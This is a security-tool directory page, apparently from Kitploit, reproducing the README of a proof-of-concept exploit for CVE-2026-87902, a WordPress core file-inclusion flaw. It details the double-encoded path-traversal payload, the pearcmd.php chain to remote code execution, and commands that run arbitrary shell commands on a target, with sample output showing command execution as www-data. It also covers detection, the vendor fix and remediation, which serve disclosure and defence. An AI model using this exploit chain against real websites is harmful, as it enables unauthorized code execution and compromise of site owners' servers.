Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-87902-PoC-pwnVader — Shell PoC for CVE-2026-87902, an unauthenticated WordPress core LFI via page-template resolution that chains to RCE through pearcmd.php. | Kitploit
Tools/GitHubGitHub/pwnvader/cve-2026-87902-poc-pwnvader
Vulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubpwnvader/cve-2026-87902-poc-pwnvader

CVE-2026-87902-PoC-pwnVader

Shell PoC for CVE-2026-87902, an unauthenticated WordPress core LFI via page-template resolution that chains to RCE through pearcmd.php.

View Repository
14 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-87902 — Unauthenticated local file inclusion in WordPress core page-template resolution → RCE

Author: pwnVader · License: MIT (repository root)

ComponentWordPress core (wp-includes/template.php)
TypeCWE-98 — PHP file inclusion (LFI → RCE)
AffectedWordPress < 7.1.2 (7.0 branch fixed in 7.0.6; 6.x backports branch-dependent)
Fixed7.1.2 / 7.0.6
CVECVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
PoCpoc.sh

Summary

get_page_template() adds page-{urldecode(pagename)}.php to the page template hierarchy when the pagename query variable contains percent-encoded characters, and locate_template() resolves the candidate with file_exists() / require without validating that the path stays inside the active theme. An unauthenticated attacker can therefore include and execute a chosen readable local .php file outside the active theme.

Preconditions:

  1. WordPress < 7.1.2.
  2. The active theme contains a top-level directory starting with page- (e.g. the official Twenty Fourteen ships page-templates/). The template name is always prefixed with page-, so the first path component must exist.
  3. A valid public page ID so the main query is a page (not a 404). The script discovers one from the core sitemap, the homepage body class, or a small ID probe.

The payload is double-encoded so that sanitize_title_for_query() preserves the %2e/%2f octets; urldecode() inside get_page_template() then rebuilds ../ at template-resolution time.

If the server also has a reachable pearcmd.php and register_argc_argv = On (the default in the official PHP image), the chain escalates to remote code execution: the query string becomes CLI argv via + separators, pear config-create writes an attacker-controlled .php file, and the same LFI includes it.

Usage

root@kitploit:~
# Interactive menu (recommended for a quick start)
./poc.sh

# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com

# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized

# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"

Options: --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (or VDP_AUTHORIZED=1) is required for any mode that may write when the target is not localhost.

Example output (check)

root@kitploit:~
== CVE-2026-87902 PoC (check) ==
target: https://example.com

[1] Discovering a public page ID
  [info] page_id: 17
  [info] baseline: POST /?page_id=17 -> 52377 bytes

[2] Testing the LFI (read-only include of wp-includes/version.php)
  [PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
  [info] theme directory: page-templates/   traversal depth to webroot: 4
  [info] second file confirmed: wp-admin/install.php executed (static string returned)

== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==

Example output (check-rce / rce)

root@kitploit:~
[3] Testing the LFI-to-RCE chain (self-deleting payload)
  [PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
  [PASS] RCE CONFIRMED: command output returned (uid/gid present)
  [info] payload self-deleted (cleanup verified)

[4] Executing command: id;hostname;whoami
  > uid=33(www-data) gid=33(www-data) groups=33(www-data)
  > 4119cb19757f
  > www-data

If the LFI is confirmed but PEAR is absent (or register_argc_argv is Off), the script reports the precondition clearly and exits without writing anything (exit 3).

Detection logic

  1. Find a public page ID (sitemap → homepage body class → numeric probe).
  2. For each candidate page-* theme directory and traversal depth, request page-<dir>/../../…/wp-includes/version.php through the pagename parameter (POST, empty body — required because WordPress canonical-redirects GET/HEAD first).
  3. A 200 response with a 0-byte body (vs the multi-KB page baseline) proves the inclusion.
  4. RCE check: attempt pear config-create through the LFI with a self-deleting payload, then include the written file with a command supplied in the request.

Root cause / fix

Vendor fix in 7.1.2 (wp-includes/template.php):

root@kitploit:~
-        if ( $pagename_decoded !== $pagename ) {
+        if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {

plus a realpath() containment check in locate_template() (_wp_is_template_path_allowed()). wordpress-7.0.6 contains the byte-identical fix.

Remediation

  • Update WordPress core to 7.1.2 (or 7.0.6 for the 7.0 branch).
  • Interim: reject pagename values containing traversal sequences (.., %2e%2e, %252e%252e) on every HTTP method, or remove the page-* theme directory precondition.

References

  • NVD — CVE-2026-87902: https://nvd.nist.gov/vuln/detail/CVE-2026-87902
  • Vendor advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Fixed releases: https://wordpress.org/wordpress-7.1.2.tar.gz · https://wordpress.org/wordpress-7.0.6.tar.gz

Disclaimer

For authorized security testing only. The RCE modes use a self-deleting payload and never write anything beyond their own temporary marker file, but they still execute commands on the target — run them only where you have explicit permission.

Download Tool